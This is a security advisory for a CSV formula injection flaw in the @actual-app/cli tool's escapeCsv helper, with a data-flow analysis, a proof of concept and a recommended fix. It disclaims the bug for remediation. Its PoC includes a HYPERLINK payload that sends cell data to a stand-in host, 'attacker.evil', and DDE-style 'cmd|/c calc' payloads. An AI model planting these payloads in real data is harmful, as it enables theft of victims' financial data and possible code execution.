GHSA-7gh7-258j-4mpq @actual-app/cli `--format csv` Output Vulnerable to CSV Formula Injection via Custom `escapeCsv` Helper

• npm @actual-app/cli: < 26.6.0 → fixed in 26.6.0

Summary `@actual-app/cli` ships a hand-rolled CSV serializer in `packages/cli/src/output.ts` (used whenever the global `--format csv` option is passed) whose `escapeCsv` helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (`=`, `+`, `-`, `@`, `\t`, `\r`). Any CLI command that streams an object array containing user-controlled strings — `transactions list`, `accounts list`, `payees list`, `categories list`, `tags list`, `category-groups list`, `rules list`, `schedules list`, `query` — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (`=HYPERLINK(...)`, `=WEBSERVICE(...)`) and arbitrary formula execution. This is a distinct variant of the formula-injection surface in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` (which uses `csv-stringify` and would need a separate `cast` option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other. Details Vulnerable code `packages/cli/src/output.ts:98-103`: ```ts function escapeCsv(value: string): string { if (value.includes(',') || value.includes('"') || value.includes('\n')) { return '"' + value.replace(/"/g, '""') + '"'; } return value; } ``` The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value `=HYPERLINK("http://attacker/?d="&B2,"Click")` is still parsed as a formula by the spreadsheet, even when wrapped as `"=HYPERLINK(""http://attacker/?d=""&B2,""Click"")"` on disk. Data flow to the sink 1. The global `--format` option is registered at `packages/cli/src/index.ts:53-57` with `choices(['json','table','csv'])` and applies to every subcommand. 2. List/query subcommands invoke `printOutput(data, format)` (`output.ts:105-107`), which routes `format === 'csv'` to `formatCsv` (`output.ts:71-96`). 3. For each row, every column is run through `formatCellValue` (`output.ts:21-26`): ```ts function formatCellValue(key: string, value: unknown): string { if (isAmountValue(key, value)) { return (value / 100).toFixed(2); } return String(value ?? ''); } ``` Only the fixed `AMOUNT_FIELDS` set (`amount`, `balance`, `budgeted`, etc.) gets numeric coercion. User-controlled string fields — `payee.name`, `account.name`, `category.name`, `notes`, tag names, rule descriptions, schedule names — are passed verbatim to `escapeCsv`. 4. `escapeCsv` returns the value unmodified unless it contains `,`, `"`, or `\n`. A payload such as `=1+1`, `@SUM(...)`, `+1+cmd|'/c calc'!A0`, or `-2+3+cmd|'/c calc'!A0` therefore lands in the output as a leading-character formula. Exploitability conditions • The CLI is installed and used by the victim (`@actual-app/cli` is published with `"bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }`). • The attacker can persist a malicious string in any user-controlled field of the budget. Realistic vectors: • Co-user / co-collaborator of a synced budget (multi-device, or attacker-controlled sync server). • Sending the victim a crafted OFX/QIF/CSV import file. • API write access (e.g., over a compromised sync session). • The victim runs `actual --format csv > out.csv` and opens `out.csv` in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately. There are no mitigations in the code path: no allowlist, no sanitizer, no `cast` option, no warning, and the CLI is shipped to end users via npm. PoC Setup (one-time — choose any user-controlled field; payee shown): ```bash Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync): actual transactions add \ --account "$ACCOUNT_ID" \ --data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]' ``` Trigger (victim runs): ```bash actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv cat out.csv ``` Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved): ``` id,date,amount,payee,notes,category,account,cleared,reconciled abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false ``` Open `out.csv` in Excel / LibreOffice Calc / Google Sheets → the `payee` cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (`B2` = the date, but trivially adjustable to any cell) to the attacker. Minimal-payload variants that bypass `escapeCsv` entirely (no `,`, `"`, or `\n` → no quoting at all): • Payee name `=1+1` → cell shows `2`. • Payee name `@SUM(1+1)` → cell shows `2`. • Payee name `+1+1` → cell shows `2`. • Payee name `-2+3` → cell shows `1`. The same applies to other list commands sharing the global `--format` option: ```bash actual accounts list --format csv # account.name actual payees list --format csv # payee.name actual categories list --format csv # category.name actual tags list --format csv actual category-groups list --format csv actual rules list --format csv actual schedules list --format csv actual query "..." --format csv ``` Verified by reading `escapeCsv` (`packages/cli/src/output.ts:98-103`): the only escape triggers are `,`, `"`, `\n`, and even when triggered the leading character is preserved. Impact • Data exfiltration in the victim's spreadsheet context via `=HYPERLINK(...)`, `=WEBSERVICE(...)`, `=IMPORTXML(...)` (Sheets), `=IMPORTDATA(...)` (Sheets) — typically one click for HYPERLINK, fully automatic for WEBSERVICE/IMPORT* on confirmation. Victim's financial data (account names, balances, transactions in adjacent cells) is the natural exfil target. • Arbitrary formula execution in the victim's spreadsheet context, including legacy DDE-style payloads on outdated Excel installations (potential RCE). • Trust-boundary crossing: financial data the victim assumes is "exported" becomes attacker-controlled active content. The CLI is the victim's own trusted tool; users do not expect `actual transactions list --format csv` to produce a file that runs code. Blast radius is bounded by the requirement that the attacker plant a string in a user-controlled field and the victim opens the CSV in a spreadsheet — but both are realistic for a personal-finance app whose primary export workflow is "open in Excel". Recommended Fix Neutralize formula-trigger prefixes in `escapeCsv` *before* the existing RFC 4180 quoting. Example: ```ts // packages/cli/src/output.ts const FORMULA_TRIGGERS = /^[=+\-@\t\r]/; function escapeCsv(value: string): string { // Neutralize spreadsheet formula prefixes (CWE-1236). if (FORMULA_TRIGGERS.test(value)) { value = "'" + value; } if (value.includes(',') || value.includes('"') || value.includes('\n')) { return '"' + value.replace(/"/g, '""') + '"'; } return value; } ``` The leading single-quote is the OWASP-recommended neutralizer: it is stripped by Excel/Calc on display but prevents formula evaluation. Apply the same fix in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` by passing a `cast` option to `csv-stringify` that prepends `'` to any string starting with a formula trigger — the two sites are independent and both must be patched.